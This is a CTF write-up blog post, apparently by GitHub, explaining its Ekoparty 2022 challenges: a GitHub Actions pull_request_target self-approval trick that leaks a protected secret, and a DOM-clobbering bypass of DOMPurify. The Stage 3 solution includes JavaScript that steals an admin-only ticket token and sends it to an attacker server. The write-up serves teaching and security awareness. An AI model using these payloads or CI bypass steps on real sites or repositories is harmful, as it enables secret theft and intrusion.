Site icon API Security Blog

GitHub and the Ekoparty 2022 Capture the Flag

As a sponsor of [Ekoparty 2022](), GitHub had the privilege of submitting several challenges to the event’s Capture The Flag (CTF) competition. Hubbers from across the company came together to brainstorm, plan, build, and test these challenges over a few weeks to try and create a compelling, and challenging, series of problems for players to solve.

## Stage 1: Classroom[]()

The first stage of our CTF challenge was presented to players in the form of an “admissions test” to join the fictitious “Octoversity” and attend classes. Players were given access to a repository that contained a course syllabus, some password protected PDF materials, and a problem they’d need to solve in order to gain admission to the university (and the other stages of the challenge).

### The challenge[]()

Keen-eyed players would spot instructions stating that they would need to solve an `intro.py` exercise. This consisted of the following code:

import binascii

import math

YourFirst = “lesson”
t = int.from_bytes(YourFirst.encode(), byteorder=’little’)

for i in range(0,29):
m = t % 23
t*=m if m>2 else 2

for i in range(0,1024):
m = i % 27
t-= pow(m,m) if m>0 else m*m

for i in range(0,32062):
m = i % 23
t-= pow(m,25) if m>0 else m*m

for i in range(0,43052):
m = i % 19
t+= pow(m,24) if m>0 else m*m

for i in range(0,36582):
m = i % 13
t+= pow(m,24) if m>0 else m*m

for i in range(0,813):
m = i % 11
t-= pow(m,24) if m>0 else m*m

for i in range(0,554772):
m = i % 7
t-= pow(m,24) if m>0 else m*m

for i in range(0,789):
m = i % 5
t+= pow(m,24) if m>0 else m*m

for i in range(0,3753):
m = i % 4
t+= pow(m,24) if m>0 else m*m

for i in range(0,5711):
m = i % 3
t-= pow(m,24) if m>0 else m*m

for i in range(0,101234):
t-= 128

t += 328

p = 3562927236051182334153575355087347127407987755959461320351305838619130268209476696833779953363710389416751

print(f’To access the course:n “https://” + DECODE({hex(p)[2:]}) + “/{hex(t)[2:]}”‘)

The objective for players was to figure out how to turn this into a functional URL.

### Solution[]()

As this was an introductory challenge, we wanted this to be quite straightforward. The solution to this was simply to decode the provided hex-encoded string `p`.

For example, this [could be accomplished using CyberChef]():

![image](https://i0.wp.com/user-images.githubusercontent.com/21298298/207367624-1ccb2ffd-28ae-47e7-950e-d17c7f9e6082.png?ssl=1)

This would provide a resulting URL of `https://classroom.github.com/assignment-invitations/25a94104e34a852f3af0a8a53d734fad` which would lead players to the next stage of the challenge.

## Stage 2: Approval[]()

The second stage of our challenges was focused around abusing misconfigured GitHub Actions security settings in order to bypass [Branch Protection rules]() and gain access to secrets protected by [Environment Protection rules](). This also focused on the use of `pull_request_target` and its [ability to run untrusted code]() in the context of a sensitive environment.

Players were prompted to sign up for the challenge through a GitHub issue, which would then [trigger a workflow]() creating a private repository for them containing the challenge setup. This was done so that players would have a largely authentic experience of having _write_ access to a repository, while also being able to keep their solutions private.

As the entire configuration for the repository was based on a template, players were all given exactly the same tools to work with, and the security configurations were available transparently as part of the workflow. In short, the repository contained a secret only accessible to a specific `environment`, and that `environment` had protection rules only permitting code from a specific branch to run in it. In addition, branch protection rules were configured requiring one additional approver for any pull requests in order to get code onto the protected branch.

The main workflow that players were attempting to exploit was as follows:

name: Grade the Pull Request
on:
workflow_run:
workflows: [“PR Management”]
types:
– completed
pull_request_target:
branches:
– main
jobs:
build:
runs-on: ubuntu-latest
environment: CTF
steps:
– name: Checkout head branch of PR
uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.ref }}
repository: ${{ github.event.pull_request.head.repo.full_name }}
– name: Checkout main branch of this repo
uses: actions/checkout@v3
with:
ref: main
path: ./grading
– uses: ruby/setup-ruby@v1
with:
ruby-version: 3.0.0
– name: Grade the Pull Request
run: |
gem install octokit
ruby grading/script/grading.rb
env:
FLAG: ${{ secrets.FLAG }}

Specifically, this would run a script in another directory of the repository and expose the flag as an environment variable (giving the players the name of the secret they need to retrieve).

The relevant linked workflow (`PR Management`) would automatically close and delete branches that did not target the `main` branch:

name: PR Management

on:
pull_request_target:
types: [opened]
branches-ignore:
– ‘main’

jobs:
close_pr:
runs-on: ubuntu-latest
steps:
– uses: superbrothers/close-pull-request@v3
with:
comment: “Pull Requests are only accepted against the `main` branch.”
cleanup_branch:
runs-on: ubuntu-latest
name: Delete non-grading branches
steps:
– name: Delete those pesky dead branches
uses: phpdocker-io/github-actions-delete-abandoned-branches@v1
id: delete_branches
with:
github_token: ${{ github.token }}
last_commit_age_days: -1
ignore_branches: main,grading
dry_run: no

The trick here of course is that the script that would expose the flag (`grading.rb`) didn’t actually expose it, and players didn’t have write access to the `main` branch to change that , but maybe there’s a way to “exploit” it?

### The originally planned solution[]()

When we were designing this challenge, the goal was for players to exploit the `grading.rb` script’s `YAML.load` implementation since it would accept [player-controlled content that could lead to RCE](). Unfortunately, this basic setup was somewhat trivial to bypass as you could just run a workflow from another branch and leak the secret directly. That gave us another idea, which led to the use of an `environment` and protection rules around it.

### The solution[]()

The premise of the challenge, noted above, was that players needed to find a way to get a pull request approved so that their code could be merged into the `main` branch of the repository and be able to run in the `CTF` protected environment that contained the stage’s flag.

Final “exploitation” of this (leaking the flag) could take several forms, including the `YAML.load` vulnerability noted above; however, getting code there in the first place was the real focus. In short, players had to do the following:

* Create a new branch (for example, `player_branch`)

* Delete the existing workflows on `player_branch`

* Create their own workflow on `player_branch` that would perform whatever action they wanted (for example, leaking the flag)

* Open a pull request from `player_branch` to `main`

* Create another branch (for example, `approval_branch`)

* Delete the existing workflows on `approval_branch`

* Create a new workflow on `approval_branch` that would [approve the pull request they had created](), and trigger it

This was predicated on the administrators (us) having _not_ enabled a setting that [prevents GitHub Actions from creating or approving pull requests](). From here, retrieving the flag was trivial.

#### Notes[]()

It was identified from discussions with players that the environment protection rules functionality this challenge relied on may have actually been overly restrictive. Through further investigation with GitHub Engineering, it was noted that the use of environment protection rules should not actually prevent access to secrets from other branches in the same repository. This bug is pending resolution; however, in the future the current form of this challenge will not be reproducible.

There were also some alternative solutions identified by players that focused on fork-based workflows which were also enabled by the use of `pull_request_target`. You can read more on our recommended caution around using `pull_request_target` in [this article]().

## Stage 3: FreeDOM[]()

This stage tries to emulate a ticketing system that “Octoversity” teachers would use to request technical help from system administrators. At this point, players would have already solved the previous two stages of the challenge, and be well positioned as students of “Octoversity” ready to further their exploitation of the university’s systems!

### The challenge[]()

This was running a Flask app, with a paired Selenium bot that would evaluate player-submitted content and perform various actions as a result. The goal here was for players to find a way to exploit the (intentionally) vulnerable site and abuse the way `DOMPurify`’s configuration was being fetched to allow their own malicious content through.

### Solution[]()

In order to identify our objective, we can see that there’s a ticket being created for the user `Jordi` with a very suspicious content. Since there is no other suspicious place in the webapp, we can focus on trying to leak the contents of the ticket.

ticket = Ticket(👍
id=uuid4().hex,
from_id=2,
content=f”

Hi team!nI’m having some issues with the authentication API, can you check if this PAT works for you?nThanks in advance!nPAT: {os.environ.get(‘FINAL_EXAM_PAT’, ‘A cool PAT’)}


)

However, ticket contents can only be accessed by the user who created it or the administrator:

@app.route(“/api/ticket/”, methods=[“GET”])
@login_required
def api_profile(ticket_id):
ticket = Ticket.query.filter_by(id=ticket_id).first()

if ticket:
if ticket.from_id == g.user.id or g.user.id == 1:
return jsonify(content=ticket.content)
else:
jsonify(error=”You are not allowed to see this ticket”)

So, we would need to impersonate either `Jordi` or the administrator to get the ticket contents. We can use the reporting process to impersonate the administrator:

@app.route(“/api/ticket//report”, methods=[“GET”])
@login_required
def api_ticket_report(ticket_id):
ticket = Ticket.query.filter_by(id=ticket_id).first()
if ticket:
if ticket.from_id == g.user.id:
cli.set(request.remote_addr, ticket_id)
return jsonify(success=”An agent will review your report soon”)
else:
return jsonify(error=”You are not allowed to see this ticket”)

After a report, the administrator will log into the system and visit the reported ticket:

driver.get(“/signin”)

WebDriverWait(driver, 10).until(
ec.element_to_be_clickable((By.ID, “usernameInput”)))
driver.find_element(“id”, “usernameInput”).send_keys(
os.environ.get(“ADMIN_BOT_USER”))
driver.find_element(“id”, “passwordInput”).send_keys(
os.environ.get(“ADMIN_BOT_PASSWORD”))
driver.find_element(“id”, “submitButton”).click()
driver.get(“/ticket/{ticket_id}”)

sleep(os.environ.get(“BROWSER_SLEEP”))

But we can’t control the URL the bot will visit, nor the actions after visiting a ticket. Let’s see how tickets are rendered:

The script will look for the `about` section of the ticket’s user, sanitize it, and add it as raw HTML into the `div` with `id=about`. The same will be done for the `ticket` content.

However, you may have noticed that the `sanitize` function is a bit weird. It tries to fetch a DOMPurify configuration from an undefined `window.DOMPurifyConfigURL` variable, or will fall back to `/api/dompurify_config`.

The ticketing system is providing an empty configuration for that endpoint:

# Note to researchers, default configuration is enough to prevent XSS attacks
@app.route(“/api/dompurify_config”, methods=[“GET”])
def dompurify_config():
return jsonify(configuration={})

However, this is still suspicious. We all know DOMPurify to be our best friend to protect against XSS inputs, but this sanitization is being done in two iterations, so, what can we do to the DOM in the first iteration to impact the second?

Since we cannot introduce direct XSS inputs, we have to clobber the DOM in order for the second iteration to use the value of `window.DOMPurifyConfigURL` and not fall back to `/api/dompurify_config`.

If we introduce an element with an id, `window` will be able to reference that element as if the id were a property of itself. We can do so adding a simple `` to the DOM. Note that the `a` element is quite interesting here, since its string representation is its `href` property.

After controlling the configuration used by the second sanitization, we can return a configuration, such as `”ADD_ATTR”: [“onerror”]` in order to make DOMPurify to allow inputs such as “ where `x` is the route to an image that does not exist, so the `onerror` handler will be triggered.

Now that we know how to impersonate the administrator, we can leak the ticket, but it won’t be completely straightforward. As you can see, ticket ids are not guessable (`uuid4().hex`), so we’d need to leak that first.

Ticket ids are displayed in the profile of each user through the `/profile/` endpoint:

{% if tickets %}

{% for ticket in tickets -%}
{{ticket.id }}
{% endfor %}

{% endif %}

So, since the user `Jordi` is created right after the administrator, we know its ID will be `2`.

r = await fetch(‘/profile/2’);
text = await r.text();

const parser = new DOMParser();
const doc = parser.parseFromString(text, ‘text/html’);
const ticket_id = doc.getElementById(“ticket”).href.split(“/”)[4];

We can now use `ticket_id` to get the contents of the ticket and leak it to our server:

r = await fetch(‘/api/ticket/’ + ticket_id);
json = await r.json();

await fetch(‘{ATTACKER_SERVER}/leak?foo=’ + encodeURIComponent(JSON.stringify(json)));

ImmutableMultiDict([(‘foo’, ‘{“content”:”

Hi team!\nI’m having some issues with the authentication API, can you check if this PAT works for you?\nThanks in advance!\nPAT:

“}’)])

With this PAT we can continue to the next stage.

## Stage 4: Free Ride[]()

The final stage of our challenge was focused on reverse engineering and binary exploitation. No players at the event solved this, and due to the stage-based nature of our challenge only a limited number of players accessed it. We’ll likely see this challenge resurface in a future event!

## Wrap-up[]()

It was equal parts terrifying and thrilling to watch players attempt, and solve, our challenges! We look forward to building out more challenges to share with you all in future events!

* * *

### Resources[]()

* [Universal RCE with Ruby YAML.load (versions > 2.7)]()
* [CyberChef]()
* [The Spanner – DOM clobbering]()
* [domclob.xyz]()
* [terjanq – Advanced DOM clobbering]()
* [PortSwigger – DOM clobbering]()Read More

Exit mobile version